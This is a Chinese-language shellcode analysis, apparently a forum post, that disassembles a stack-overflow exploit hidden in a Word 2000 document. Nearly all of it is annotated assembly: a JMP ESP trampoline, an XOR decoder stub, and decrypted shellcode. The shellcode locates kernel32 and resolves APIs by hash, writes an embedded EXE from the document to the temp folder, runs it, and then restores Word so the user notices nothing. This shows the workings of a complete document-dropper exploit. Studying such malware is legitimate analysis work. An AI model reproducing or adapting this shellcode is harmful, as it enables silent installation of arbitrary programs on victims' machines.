=====================SHELLCODE111 数据 618 部分[加密处理]============================

调试软件 : softice 。
分析程序是  word.exe [注意是2000版,2003,xp版不适用]

这个是溢出代码的很好的一个事例,很多shellcode代码,都是由它变形而来的。
下面的哪个doc文档是捆绑一个exe[我保证没有任何危害,当你用office 2000打开它时]
会弹出一个对话框。
这个东西是偶早些时候,一个朋友给我分析的,发现不错,今天拿来给大家分享。
这个是对堆栈溢出,研究比较好的东西了[个人认为]。
注意哪个doc文件中的shellcode的代码是没有加密的,加密部分代码是我加的。

在word中转向溢出堆栈时的指令
0167:3000B581  FFE4                JMP       ESP   ;这是在我调试时esp的值00170E05

=======================下面是在doc的文档中存的数据部分在内存16进值显示===================
0023:00170977 FF FF 01 00 02 00 18 06-50 00 72 00 6F 00 6A 00  ........P.r.o.j.
0023:00170987 65 00 63 00 74 00 2E 00-4E 00 65 00 77 00 4D 00  e.c.t...N.e.w.M.
0023:00170997 61 00 63 00 72 00 6F 00-73 00 2E 00 48 00 41 00  a.c.r.o.s...H.A.
0023:001709A7 4E 00 41 00 4D 00 49 00-01 00 11 01 00 00 00 18  N.A.M.I.........
0023:001709B7 00 50 00 52 00 4F 00 4A-00 45 00 43 00 54 00 2E  .P.R.O.J.E.C.T..
0023:001709C7 00 4E 00 45 00 57 00 4D-00 41 00 43 00 52 00 4F  .N.E.W.M.A.C.R.O
0023:001709D7 00 53 00 2E 00 48 00 41-00 4E 00 41 00 4D 00 49  .S...H.A.N.A.M.I
0023:001709E7 00 00 00 40 00 80 01 00-00 00 00 00 00 00 00 00  ...@............
0023:001709F7 78 68 52 01 01 00 00 00-00 00 00 00 00 00 00 00  xhR.............
0023:00170A07 00 00 00 00 00 00 00 00-02 1C 00 00 00 00 00 00  ................
0023:00170A17 00 89 24 00 00 14 49 00-00 40 00 00 08 00 00 00  ..$...I..@......
0023:00170A27 00 40 00 00 58 00 00 00-00 FF FF 01 00 00 00 07  .@..X...........
0023:00170A37 00 55 00 6E 00 6B 00 6E-00 6F 00 77 00 6E 00 FF  .U.n.k.n.o.w.n..
0023:00170A47 FF 01 00 08 00 00 00 00-00 00 00 00 00 00 00 FF  ................
0023:00170A57 FF 01 00 00 00 00 00 FF-FF 00 00 02 00 FF FF 00  ................
0023:00170A67 00 00 00 FF FF 00 00 02-00 FF FF 00 00 00 00 04  ................
0023:00170A77 00 00 00 47 16 90 01 00-00 02 02 06 03 05 04 05  ...G............
0023:00170A87 02 03 04 87 7A 00 20 00-00 00 80 08 00 00 00 00  ....z. .........
0023:00170A97 00 00 00 FF 01 00 00 00-00 00 00 54 00 69 00 6D  ...........T.i.m
0023:00170AA7 00 65 00 73 00 20 00 4E-00 65 00 77 00 20 00 52  .e.s. .N.e.w. .R
0023:00170AB7 00 6F 00 6D 00 61 00 6E-00 00 00 35 16 90 01 02  .o.m.a.n...5....
0023:00170AC7 00 05 05 01 02 01 07 06-02 05 07 00 00 00 00 00  ................
0023:00170AD7 00 00 10 00 00 00 00 00-00 00 00 00 00 00 80 00  ................
0023:00170AE7 00 00 00 53 00 79 00 6D-00 62 00 6F 00 6C 00 00  ...S.y.m.b.o.l..
0023:00170AF7 00 33 26 90 01 00 00 02-0B 06 04 02 02 02 02 02  .3&.............
0023:00170B07 04 87 7A 00 20 00 00 00-80 08 00 00 00 00 00 00  ..z. ...........
0023:00170B17 00 FF 01 00 00 00 00 00-00 41 00 72 00 69 00 61  .........A.r.i.a
0023:00170B27 00 6C 00 00 00 3B 06 90-01 86 03 02 01 06 00 03  .l...;..........
0023:00170B37 01 01 01 01 01 03 00 00-00 00 00 0E 08 10 00 00  ................
0023:00170B47 00 00 00 00 00 01 00 04-00 00 00 00 00 8B 5B 53  ..............[S
0023:00170B57 4F 00 00 53 00 69 00 6D-00 53 00 75 00 6E 00 00  O..S.i.m.S.u.n..
0023:00170B67 00 20 00 04 00 71 08 88-18 00 00 A4 01 00 00 68  . ...q.........h
0023:00170B77 01 00 00 00 00 36 00 00-00 00 00 00 00 00 00 00  .....6..........
0023:00170B87 00 08 12 45 FA 7F 00 E8-0A 00 E9 7B 02 00 00 0B  ...E......{....
0023:00170B97 00 25 00 00 00 04 00 03-10 84 00 00 00 E8 0A 00  .%..............
0023:00170BA7 00 2C 3E 00 00 0B 00 25-00 00 00 84 00 00 00 00  .,>....%........
0023:00170BB7 00 00 00 21 03 00 00 00-00 00 00 03 00 2D 00 13  ...!.........-..
0023:00170BC7 00 21 00 29 00 2C 00 2E-00 3A 00 3B 00 3F 00 5D  .!.).,...:.;.?.]
0023:00170BD7 00 7D 00 A8 00 B7 00 C7-02 C9 02 15 20 16 20 19  .}.......... . .
0023:00170BE7 20 1D 20 26 20 36 22 01-30 02 30 03 30 05 30 09   . & 6".0.0.0.0.
0023:00170BF7 30 0B 30 0D 30 0F 30 11-30 15 30 17 30 01 FF 02  0.0.0.0.0.0.0...
0023:00170C07 FF 07 FF 09 FF 0C FF 0E-FF 1A FF 1B FF 1F FF 3D  ...............=
0023:00170C17 FF 40 FF 5C FF 5D FF 5E-FF E0 FF 00 00 00 00 00  .@.\.].^........
0023:00170C27 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C37 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C47 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C57 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C67 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C77 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170C87 00 00 00 00 00 00 00 00-00 00 00 28 00 5B 00 7B  ...........(.[.{
0023:00170C97 00 B7 00 18 20 1C 20 08-30 0A 30 0C 30 0E 30 10  .... . .0.0.0.0.
0023:00170CA7 30 14 30 16 30 08 FF 0E-FF 3B FF 5B FF E1 FF E5  0.0.0....;.[....
0023:00170CB7 FF 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170CC7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170CD7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170CE7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170CF7 00 08 07 A0 05 B4 00 9C-00 82 80 12 04 00 00 11  ................
0023:00170D07 00 19 00 64 00 00 00 19-00 00 00 EF 48 00 00 EF  ...d........H...
0023:00170D17 48 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  H...............
0023:00170D27 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170D37 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170D47 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 02  ................
0023:00170D57 00 00 00 00 00 00 00 00-00 00 32 83 11 00 00 00  ..........2.....
0023:00170D67 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0023:00170D77 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 48  ...............H
0023:00170D87 00 00 00 00 00 29 F0 FF-0F 01 00 01 3F 00 00 A8  .....)......?...
0023:00170D97 03 00 00 FF FF FF 7F FF-FF FF 7F FF FF FF 7F FF  .............
0023:00170DA7 FF FF 7F FF FF FF 7F FF-FF FF 7F FF FF FF 7F A1  ............
0023:00170DB7 0D C2 00 FF FF 12 00 00-00 00 00 00 00 0C 00 4D  ...............M
0023:00170DC7 00 61 00 68 00 75 12 45-FA 7F 00 20 00 4D 00 61  .a.h.u.E.. .M.a
0023:00170DD7 00 67 00 69 00 63 00 00-00 00 00 00 00 05 00 54  .g.i.c.........T
0023:00170DE7 00 69 00 74 00 61 00 6E-00 05 00 00 00 00 00 74  .i.t.a.n.......t
0023:00170DF7 00 61 00 6E 00 00 00 00-00 00 00 00 00 00 00 42  .a.n...........B
001B:00170E05  004200              ADD       [EDX+00],AL
001B:00170E08  49                  DEC       ECX
001B:00170E09  33ED                XOR       EBP,EBP
001B:00170E0B  45                  INC       EBP
001B:00170E0C  90                  NOP
001B:00170E0D  90                  NOP
001B:00170E0E  90                  NOP
001B:00170E0F  90                  NOP
001B:00170E10  41                  INC       ECX
001B:00170E11  90                  NOP
001B:00170E12  90                  NOP
001B:00170E13  90                  NOP
001B:00170E14  E8EF040000          CALL      00171308
=================解开数据==========================================
001B:00171308  E808000000          CALL      00171315 
001B:0017130D  CC                  INT       3
001B:0017130E  CC                  INT       3
001B:0017130F  CC                  INT       3
001B:00171310  CC                  INT       3
001B:00171311  CC                  INT       3
001B:00171312  CC                  INT       3
001B:00171313  CC                  INT       3
001B:00171314  CC                  INT       3
001B:00171315  59                  POP       ECX
001B:00171316  5E                  POP       ESI
001B:00171317  2BCE                SUB       ECX,ESI   ?;
001B:00171319  8BFE                MOV       EDI,ESI   ?;解开
001B:0017131B  56                  PUSH      ESI       ?;加密的
001B:0017131C  AC                  LODSB               ?;代码
001B:0017131D  34CC                XOR       AL,CC     ?;
001B:0017131F  AA                  STOSB               ?;
001B:00171320  E2FA                LOOP      0017131C  ?;
001B:00171322  C3                  RET
===========================下面是解密后的程序========================================
001B:00170E19  55                  PUSH      EBP
001B:00170E1A  8BEC                MOV       EBP,ESP
001B:00170E1C  81EC08050000        SUB       ESP,00000508
001B:00170E22  53                  PUSH      EBX
001B:00170E23  56                  PUSH      ESI
001B:00170E24  57                  PUSH      EDI
001B:00170E25  C745C800000000      MOV       DWORD PTR [EBP-38],00000000
001B:00170E2C  33F6                XOR       ESI,ESI
001B:00170E2E  64AD                LODSD     FS:          ?;通过FS段
001B:00170E30  40                  INC       EAX          ?;积存器
001B:00170E31  7405                JZ        00170E38     ?;找到windows
001B:00170E33  48                  DEC       EAX          ?;系统空间
001B:00170E34  96                  XCHG      EAX,ESI      ?;位置
001B:00170E35  AD                  LODSD                  ?;
001B:00170E36  EBF8                JMP       00170E30     ?;
001B:00170E38  AD                  LODSD
001B:00170E39  6633C0              XOR       AX,AX
001B:00170E3C  6681384D5A          CMP       WORD PTR [EAX],5A4D      ;
001B:00170E41  750B                JNZ       00170E4E                 ;查找kernel32.dll
001B:00170E43  8B583C              MOV       EBX,[EAX+3C]             ;起始的位置
001B:00170E46  66813C185045        CMP       WORD PTR [EBX+EAX],4550  ;
001B:00170E4C  7407                JZ        00170E55                 ;
001B:00170E4E  2D00000100          SUB       EAX,00010000             ;
001B:00170E53  EBE7                JMP       00170E3C
001B:00170E55  50                  PUSH      EAX
001B:00170E56  5B                  POP       EBX
001B:00170E57  8B503C              MOV       EDX,[EAX+3C]
001B:00170E5A  035C1078            ADD       EBX,[EDX+EAX+78]
001B:00170E5E  53                  PUSH      EBX
001B:00170E5F  50                  PUSH      EAX
001B:00170E60  5A                  POP       EDX
001B:00170E61  035320              ADD       EDX,[EBX+20]
001B:00170E64  33C9                XOR       ECX,ECX
001B:00170E66  50                  PUSH      EAX
001B:00170E67  5B                  POP       EBX
001B:00170E68  031C8A              ADD       EBX,[ECX*4+EDX]
001B:00170E6B  33F6                XOR       ESI,ESI
001B:00170E6D  803B00              CMP       BYTE PTR [EBX],00  ;
001B:00170E70  7422                JZ        00170E94           ;
001B:00170E72  56                  PUSH      ESI                ;定
001B:00170E73  5F                  POP       EDI                ;位
001B:00170E74  C1E605              SHL       ESI,05             ;G
001B:00170E77  C1EF1B              SHR       EDI,1B             ;e
001B:00170E7A  0BF7                OR        ESI,EDI            ;t
001B:00170E7C  0FBE3B              MOVSX     EDI,BYTE PTR [EBX] ;P
001B:00170E7F  03F7                ADD       ESI,EDI            ;r
001B:00170E81  43                  INC       EBX                ;o
001B:00170E82  EBE9                JMP       00170E6D           ;c
001B:00170E84  EB0E                JMP       00170E94           ;A
001B:00170E86  CC                  INT       3                  ;d
001B:00170E87  CC                  INT       3                  ;d
001B:00170E88  CC                  INT       3                  ;r
001B:00170E89  CC                  INT       3                  ;e
001B:00170E8A  CC                  INT       3                  ;s
001B:00170E8B  CC                  INT       3                  ;s
001B:00170E8C  CC                  INT       3                  ;函数的
001B:00170E8D  CC                  INT       3                  ;索引
001B:00170E8E  CC                  INT       3                  ;值
001B:00170E8F  CC                  INT       3                  ;
001B:00170E90  CC                  INT       3                  ;
001B:00170E91  CC                  INT       3                  ;
001B:00170E92  CC                  INT       3                  ;
001B:00170E93  CC                  INT       3                  ;
001B:00170E94  81FE9055C999        CMP       ESI,99C95590       ;
001B:00170E9A  7403                JZ        00170E9F           ;
001B:00170E9C  41                  INC       ECX                ;
001B:00170E9D  EBC7                JMP       00170E66           ;
001B:00170E9F  5B                  POP       EBX
001B:00170EA0  50                  PUSH      EAX
001B:00170EA1  5A                  POP       EDX
001B:00170EA2  035324              ADD       EDX,[EBX+24]
001B:00170EA5  0FB70C4A            MOVZX     ECX,WORD PTR [ECX*2+EDX]
001B:00170EA9  50                  PUSH      EAX
001B:00170EAA  5A                  POP       EDX
001B:00170EAB  894598              MOV       [EBP-68],EAX
001B:00170EAE  03531C              ADD       EDX,[EBX+1C]       ;根据
001B:00170EB1  03048A              ADD       EAX,[ECX*4+EDX]    ;索引值
001B:00170EB4  8945C8              MOV       [EBP-38],EAX       ;得到函数GetProcAddress入口地址
001B:00170EB7  C6459F00            MOV       BYTE PTR [EBP-61],00
001B:00170EBB  807D0001            CMP       BYTE PTR [EBP+00],01
001B:00170EBF  7518                JNZ       00170ED9
001B:00170EC1  C6459F01            MOV       BYTE PTR [EBP-61],01
001B:00170EC5  8BC4                MOV       EAX,ESP
001B:00170EC7  05000E0000          ADD       EAX,00000E00
001B:00170ECC  8B18                MOV       EBX,[EAX]
001B:00170ECE  895DA8              MOV       [EBP-58],EBX
001B:00170ED1  83C01C              ADD       EAX,1C
001B:00170ED4  8945AC              MOV       [EBP-54],EAX
001B:00170ED7  EB12                JMP       00170EEB
001B:00170ED9  8BC4                MOV       EAX,ESP
001B:00170EDB  05E0100000          ADD       EAX,000010E0
001B:00170EE0  8B18                MOV       EBX,[EAX]
001B:00170EE2  895DA8              MOV       [EBP-58],EBX
001B:00170EE5  83C01C              ADD       EAX,1C
001B:00170EE8  8945AC              MOV       [EBP-54],EAX
001B:00170EEB  E9FC020000          JMP       001711EC
001B:00170EF0  8F45BC              POP       DWORD PTR [EBP-44]
001B:00170EF3  C745B801000000      MOV       DWORD PTR [EBP-48],00000001
001B:00170EFA  8B45BC              MOV       EAX,[EBP-44]           ;
001B:00170EFD  0FBE08              MOVSX     ECX,BYTE PTR [EAX]     ;
001B:00170F00  83F90F              CMP       ECX,0F                 ;
001B:00170F03  7455                JZ        00170F5A               ;使用
001B:00170F05  8B45BC              MOV       EAX,[EBP-44]           ;GetProcAddress
001B:00170F08  0FBE08              MOVSX     ECX,BYTE PTR [EAX]     ;函数
001B:00170F0B  83F909              CMP       ECX,09                 ;得到
001B:00170F0E  750F                JNZ       00170F1F               ;需要
001B:00170F10  8B45BC              MOV       EAX,[EBP-44]           ;使用的
001B:00170F13  83C001              ADD       EAX,01                 ;所
001B:00170F16  50                  PUSH      EAX                    ;有
001B:00170F17  FF55D0              CALL      [EBP-30]               ;函数的
001B:00170F1A  894598              MOV       [EBP-68],EAX           ;入口
001B:00170F1D  EB1B                JMP       00170F3A               ;地址
001B:00170F1F  8B45BC              MOV       EAX,[EBP-44]           ;
001B:00170F22  50                  PUSH      EAX                    ;
001B:00170F23  8B4D98              MOV       ECX,[EBP-68]           ;
001B:00170F26  51                  PUSH      ECX                    ;
001B:00170F27  FF55C8              CALL      [EBP-38]               ;
001B:00170F2A  8B55B8              MOV       EDX,[EBP-48]           ;
001B:00170F2D  894495CC            MOV       [EDX*4+EBP-34],EAX     ;保存入口地址的
001B:00170F31  8B45B8              MOV       EAX,[EBP-48]           ;
001B:00170F34  83C001              ADD       EAX,01                 ;
001B:00170F37  8945B8              MOV       [EBP-48],EAX           ;
001B:00170F3A  8B45BC              MOV       EAX,[EBP-44]           ;
001B:00170F3D  0FBE08              MOVSX     ECX,BYTE PTR [EAX]     ;
001B:00170F40  85C9                TEST      ECX,ECX                ;
001B:00170F42  740B                JZ        00170F4F               ;
001B:00170F44  8B45BC              MOV       EAX,[EBP-44]           ;
001B:00170F47  83C001              ADD       EAX,01                 ;
001B:00170F4A  8945BC              MOV       [EBP-44],EAX           ;
001B:00170F4D  EBEB                JMP       00170F3A               ;
001B:00170F4F  8B45BC              MOV       EAX,[EBP-44]           ;
001B:00170F52  83C001              ADD       EAX,01                 ;
001B:00170F55  8945BC              MOV       [EBP-44],EAX           ;
001B:00170F58  EBA0                JMP       00170EFA               ;
001B:00170F5A  8B45BC              MOV       EAX,[EBP-44]
001B:00170F5D  83C001              ADD       EAX,01
001B:00170F60  8945BC              MOV       [EBP-44],EAX
001B:00170F63  C745B801000000      MOV       DWORD PTR [EBP-48],00000001
001B:00170F6A  8B45BC              MOV       EAX,[EBP-44]
001B:00170F6D  0FBE08              MOVSX     ECX,BYTE PTR [EAX]
001B:00170F70  85C9                TEST      ECX,ECX
001B:00170F72  7433                JZ        00170FA7
001B:00170F74  8B45B8              MOV       EAX,[EBP-48]
001B:00170F77  8B4DBC              MOV       ECX,[EBP-44]
001B:00170F7A  894C85C0            MOV       [EAX*4+EBP-40],ECX
001B:00170F7E  8B45B8              MOV       EAX,[EBP-48]
001B:00170F81  83C001              ADD       EAX,01
001B:00170F84  8945B8              MOV       [EBP-48],EAX
001B:00170F87  8B45BC              MOV       EAX,[EBP-44]
001B:00170F8A  0FBE08              MOVSX     ECX,BYTE PTR [EAX]
001B:00170F8D  85C9                TEST      ECX,ECX
001B:00170F8F  740B                JZ        00170F9C
001B:00170F91  8B45BC              MOV       EAX,[EBP-44]
001B:00170F94  83C001              ADD       EAX,01
001B:00170F97  8945BC              MOV       [EBP-44],EAX
001B:00170F9A  EBEB                JMP       00170F87
001B:00170F9C  8B45BC              MOV       EAX,[EBP-44]
001B:00170F9F  83C001              ADD       EAX,01
001B:00170FA2  8945BC              MOV       [EBP-44],EAX
001B:00170FA5  EBC3                JMP       00170F6A
001B:00170FA7  C745A000980200      MOV       DWORD PTR [EBP-60],00029800
001B:00170FAE  8D853CFBFFFF        LEA       EAX,[EBP+FFFFFB3C]
001B:00170FB4  50                  PUSH      EAX
001B:00170FB5  6800040000          PUSH      00000400
001B:00170FBA  FF55F8              CALL      [EBP-08]          ;取临时目录
001B:00170FBD  8D853CFBFFFF        LEA       EAX,[EBP+FFFFFB3C]
001B:00170FC3  50                  PUSH      EAX
001B:00170FC4  FF55FC              CALL      [EBP-04]          ;改变当前目录
001B:00170FC7  6A00                PUSH      00
001B:00170FC9  6A02                PUSH      02
001B:00170FCB  6A04                PUSH      04
001B:00170FCD  6A00                PUSH      00
001B:00170FCF  6A03                PUSH      03
001B:00170FD1  6800000040          PUSH      40000000 ; STATUS_OBJECT_NAME_EXIST
001B:00170FD6  8B45C4              MOV       EAX,[EBP-3C]
001B:00170FD9  50                  PUSH      EAX
001B:00170FDA  FF55E0              CALL      [EBP-20]          ;创建文件
001B:00170FDD  894590              MOV       [EBP-70],EAX
001B:00170FE0  C7459400000000      MOV       DWORD PTR [EBP-6C],00000000
001B:00170FE7  83459404            ADD       DWORD PTR [EBP-6C],04
001B:00170FEB  6A00                PUSH      00               ;
001B:00170FED  8B4594              MOV       EAX,[EBP-6C]     ;
001B:00170FF0  50                  PUSH      EAX              ;在内存中查
001B:00170FF1  FF55F4              CALL      [EBP-0C]         ;找这个doc
001B:00170FF4  8B4DA0              MOV       ECX,[EBP-60]     ;的handle
001B:00170FF7  81C100020100        ADD       ECX,00010200     ;
001B:00170FFD  3BC1                CMP       EAX,ECX          ;
001B:00170FFF  75E6                JNZ       00170FE7         ;
001B:00171001  6A00                PUSH      00
001B:00171003  6A00                PUSH      00
001B:00171005  6800020100          PUSH      00010200
001B:0017100A  8B4594              MOV       EAX,[EBP-6C]
001B:0017100D  50                  PUSH      EAX
001B:0017100E  FF55E4              CALL      [EBP-1C]         ; 定位文件的位置
001B:00171011  C745A400000000      MOV       DWORD PTR [EBP-5C],00000000
001B:00171018  6A00                PUSH      00                               ;
001B:0017101A  8D45B4              LEA       EAX,[EBP-4C]                     ;从
001B:0017101D  50                  PUSH      EAX                              ;doc
001B:0017101E  6800040000          PUSH      00000400                         ;文档
001B:00171023  8D8D3CFBFFFF        LEA       ECX,[EBP+FFFFFB3C]               ;中
001B:00171029  51                  PUSH      ECX                              ;把
001B:0017102A  8B5594              MOV       EDX,[EBP-6C]                     ;捆绑
001B:0017102D  52                  PUSH      EDX                              ;的
001B:0017102E  FF55D8              CALL      [EBP-28]                         ;哪个
001B:00171031  C78538FBFFFF00000000MOV       DWORD PTR [EBP+FFFFFB38],00000000;exe
001B:0017103B  EB0F                JMP       0017104C                         ;文件
001B:0017103D  8B8538FBFFFF        MOV       EAX,[EBP+FFFFFB38]               ;写入
001B:00171043  83C001              ADD       EAX,01                           ;刚才
001B:00171046  898538FBFFFF        MOV       [EBP+FFFFFB38],EAX               ;创建
001B:0017104C  8B8538FBFFFF        MOV       EAX,[EBP+FFFFFB38]               ;的
001B:00171052  3B45B4              CMP       EAX,[EBP-4C]                     ;哪个
001B:00171055  7323                JAE       0017107A                         ;文件
001B:00171057  8B8538FBFFFF        MOV       EAX,[EBP+FFFFFB38]               ;
001B:0017105D  0FBE8C053CFBFFFF    MOVSX     ECX,BYTE PTR [EAX+EBP+FFFFFB3C]  ;
001B:00171065  81F1CC000000        XOR       ECX,000000CC                     ;
001B:0017106B  8B9538FBFFFF        MOV       EDX,[EBP+FFFFFB38]               ;
001B:00171071  888C153CFBFFFF      MOV       [EDX+EBP+FFFFFB3C],CL            ;
001B:00171078  EBC3                JMP       0017103D                         ;
001B:0017107A  8B45A4              MOV       EAX,[EBP-5C]                     ;
001B:0017107D  0345B4              ADD       EAX,[EBP-4C]                     ;
001B:00171080  8945A4              MOV       [EBP-5C],EAX                     ;
001B:00171083  8B45A4              MOV       EAX,[EBP-5C]                     ;
001B:00171086  3B45A0              CMP       EAX,[EBP-60]                     ;
001B:00171089  7C20                JL        001710AB                         ;
001B:0017108B  6A00                PUSH      00                               ;
001B:0017108D  8D45B0              LEA       EAX,[EBP-50]                     ;
001B:00171090  50                  PUSH      EAX                              ;
001B:00171091  8B4DB4              MOV       ECX,[EBP-4C]                     ;
001B:00171094  034DA0              ADD       ECX,[EBP-60]                     ;
001B:00171097  2B4DA4              SUB       ECX,[EBP-5C]                     ;
001B:0017109A  51                  PUSH      ECX                              ;
001B:0017109B  8D953CFBFFFF        LEA       EDX,[EBP+FFFFFB3C]               ;
001B:001710A1  52                  PUSH      EDX                              ;
001B:001710A2  8B4590              MOV       EAX,[EBP-70]                     ;
001B:001710A5  50                  PUSH      EAX                              ;
001B:001710A6  FF55DC              CALL      [EBP-24]                         ;
001B:001710A9  EB22                JMP       001710CD                         ;
001B:001710AB  6A00                PUSH      00                               ;
001B:001710AD  8D45B0              LEA       EAX,[EBP-50]                     ;
001B:001710B0  50                  PUSH      EAX                              ;
001B:001710B1  8B4DB4              MOV       ECX,[EBP-4C]                     ;
001B:001710B4  51                  PUSH      ECX                              ;
001B:001710B5  8D953CFBFFFF        LEA       EDX,[EBP+FFFFFB3C]               ;
001B:001710BB  52                  PUSH      EDX                              ;
001B:001710BC  8B4590              MOV       EAX,[EBP-70]                     ;
001B:001710BF  50                  PUSH      EAX                              ;
001B:001710C0  FF55DC              CALL      [EBP-24]                         ;
001B:001710C3  837DB400            CMP       DWORD PTR [EBP-4C],00            ;
001B:001710C7  0F854BFFFFFF        JNZ       00171018                         ;
001B:001710CD  8B4590              MOV       EAX,[EBP-70]
001B:001710D0  50                  PUSH      EAX
001B:001710D1  FF55E8              CALL      [EBP-18]       ;设置文件结束
001B:001710D4  8B4590              MOV       EAX,[EBP-70]
001B:001710D7  50                  PUSH      EAX
001B:001710D8  FF55EC              CALL      [EBP-14]       ;关闭文件
001B:001710DB  8B4594              MOV       EAX,[EBP-6C]
001B:001710DE  50                  PUSH      EAX
001B:001710DF  FF55EC              CALL      [EBP-14]       
001B:001710E2  8DBD4CFFFFFF        LEA       EDI,[EBP-00B4]
001B:001710E8  33C0                XOR       EAX,EAX
001B:001710EA  B911000000          MOV       ECX,00000011
001B:001710EF  F2AB                REPNZ STOSD
001B:001710F1  C7854CFFFFFF44000000MOV       DWORD PTR [EBP-00B4],00000044
001B:001710FB  8D853CFFFFFF        LEA       EAX,[EBP-00C4]
001B:00171101  50                  PUSH      EAX
001B:00171102  8D8D4CFFFFFF        LEA       ECX,[EBP-00B4]
001B:00171108  51                  PUSH      ECX
001B:00171109  6A00                PUSH      00
001B:0017110B  6A00                PUSH      00
001B:0017110D  6A00                PUSH      00
001B:0017110F  6A00                PUSH      00
001B:00171111  6A00                PUSH      00
001B:00171113  6A00                PUSH      00
001B:00171115  6A00                PUSH      00
001B:00171117  8B55C4              MOV       EDX,[EBP-3C]
001B:0017111A  52                  PUSH      EDX
001B:0017111B  FF55D4              CALL      [EBP-2C]        ;执行刚才创建哪个exe文件
001B:0017111E  0FB6459F            MOVZX     EAX,BYTE PTR [EBP-61]
001B:00171122  85C0                TEST      EAX,EAX
001B:00171124  7463                JZ        00171189
001B:00171126  33C0                XOR       EAX,EAX                  ;
001B:00171128  8BD8                MOV       EBX,EAX                  ;返回
001B:0017112A  C1E309              SHL       EBX,09                   ;word
001B:0017112D  3E031D94D28030      ADD       EBX,DS:[3080D294]        ;应用
001B:00171134  81C36D010000        ADD       EBX,0000016D             ;程序
001B:0017113A  40                  INC       EAX                      ;时
001B:0017113B  813B0010FFFF        CMP       DWORD PTR [EBX],FFFF1000 ;把
001B:00171141  75E5                JNZ       00171128                 ;相应
001B:00171143  66817B081806        CMP       WORD PTR [EBX+08],0618   ;位置
001B:00171149  75DD                JNZ       00171128                 ;数据
001B:0017114B  66C743081800        MOV       WORD PTR [EBX+08],0018   ;调整
001B:00171151  33C0                XOR       EAX,EAX                  ;以便
001B:00171153  8BD8                MOV       EBX,EAX                  ;程序
001B:00171155  C1E309              SHL       EBX,09                   ;能
001B:00171158  3E031D94D28030      ADD       EBX,DS:[3080D294]        ;正常
001B:0017115F  81C35E010000        ADD       EBX,0000015E             ;执行
001B:00171165  40                  INC       EAX                      ;
001B:00171166  813B5D0C0000        CMP       DWORD PTR [EBX],00000C5D ;
001B:0017116C  75E5                JNZ       00171153                 ;
001B:0017116E  66C7039300          MOV       WORD PTR [EBX],0093      ;
001B:00171173  8B65AC              MOV       ESP,[EBP-54]             ;
001B:00171176  5F                  POP       EDI                      ;
001B:00171177  5E                  POP       ESI                      ;
001B:00171178  5B                  POP       EBX                      ;
001B:00171179  8B65A8              MOV       ESP,[EBP-58]             ;
001B:0017117C  5D                  POP       EBP                      ;
001B:0017117D  33C0                XOR       EAX,EAX                  ;
001B:0017117F  40                  INC       EAX                      ;
001B:00171180  802C2425            SUB       BYTE PTR [ESP],25        ;
001B:00171184  C23400              RET       0034                     ;
001B:00171187  EB63                JMP       001711EC                 ;
001B:00171189  33C0                XOR       EAX,EAX                  ;
001B:0017118B  8BD8                MOV       EBX,EAX                  ;
001B:0017118D  C1E309              SHL       EBX,09                   ;
001B:00171190  3E031D74A89A30      ADD       EBX,DS:[309AA874]        ;
001B:00171197  81C36D010000        ADD       EBX,0000016D             ;
001B:0017119D  40                  INC       EAX                      ;
001B:0017119E  813B0010FFFF        CMP       DWORD PTR [EBX],FFFF1000 ;
001B:001711A4  75E5                JNZ       0017118B                 ;
001B:001711A6  66817B081806        CMP       WORD PTR [EBX+08],0618   ;
001B:001711AC  75DD                JNZ       0017118B                 ;
001B:001711AE  66C743081800        MOV       WORD PTR [EBX+08],0018   ;
001B:001711B4  33C0                XOR       EAX,EAX                  ;
001B:001711B6  8BD8                MOV       EBX,EAX                  ;
001B:001711B8  C1E309              SHL       EBX,09                   ;
001B:001711BB  3E031D74A89A30      ADD       EBX,DS:[309AA874]        ;
001B:001711C2  81C35E010000        ADD       EBX,0000015E             ;
001B:001711C8  40                  INC       EAX                      ;
001B:001711C9  813B5D0C0000        CMP       DWORD PTR [EBX],00000C5D ;
001B:001711CF  75E5                JNZ       001711B6                 ;
001B:001711D1  66C7039300          MOV       WORD PTR [EBX],0093      ;
001B:001711D6  8B65AC              MOV       ESP,[EBP-54]             ;
001B:001711D9  5F                  POP       EDI                      ;
001B:001711DA  5E                  POP       ESI                      ;
001B:001711DB  5B                  POP       EBX                      ;
001B:001711DC  8B65A8              MOV       ESP,[EBP-58]             ;
001B:001711DF  5D                  POP       EBP                      ;
001B:001711E0  33DB                XOR       EBX,EBX                  ;
001B:001711E2  33C0                XOR       EAX,EAX                  ;
001B:001711E4  40                  INC       EAX                      ;
001B:001711E5  802C2428            SUB       BYTE PTR [ESP],28        ;
001B:001711E9  C23800              RET       0038                     ;
001B:001711EC  E8FFFCFFFF          CALL      00170EF0

0023:001711EC E8 FF FC FF FF 4C 6F 61-64 4C 69 62 72 61 72 79  .....LoadLibrary
0023:001711FC 41 00 43 72 65 61 74 65-50 72 6F 63 65 73 73 41  A.CreateProcessA
0023:0017120C 00 52 65 61 64 46 69 6C-65 00 57 72 69 74 65 46  .ReadFile.WriteF
0023:0017121C 69 6C 65 00 43 72 65 61-74 65 46 69 6C 65 41 00  ile.CreateFileA.
0023:0017122C 53 65 74 46 69 6C 65 50-6F 69 6E 74 65 72 00 53  SetFilePointer.S
0023:0017123C 65 74 45 6E 64 4F 66 46-69 6C 65 00 43 6C 6F 73  etEndOfFile.Clos
0023:0017124C 65 48 61 6E 64 6C 65 00-53 6C 65 65 70 00 47 65  eHandle.Sleep.Ge
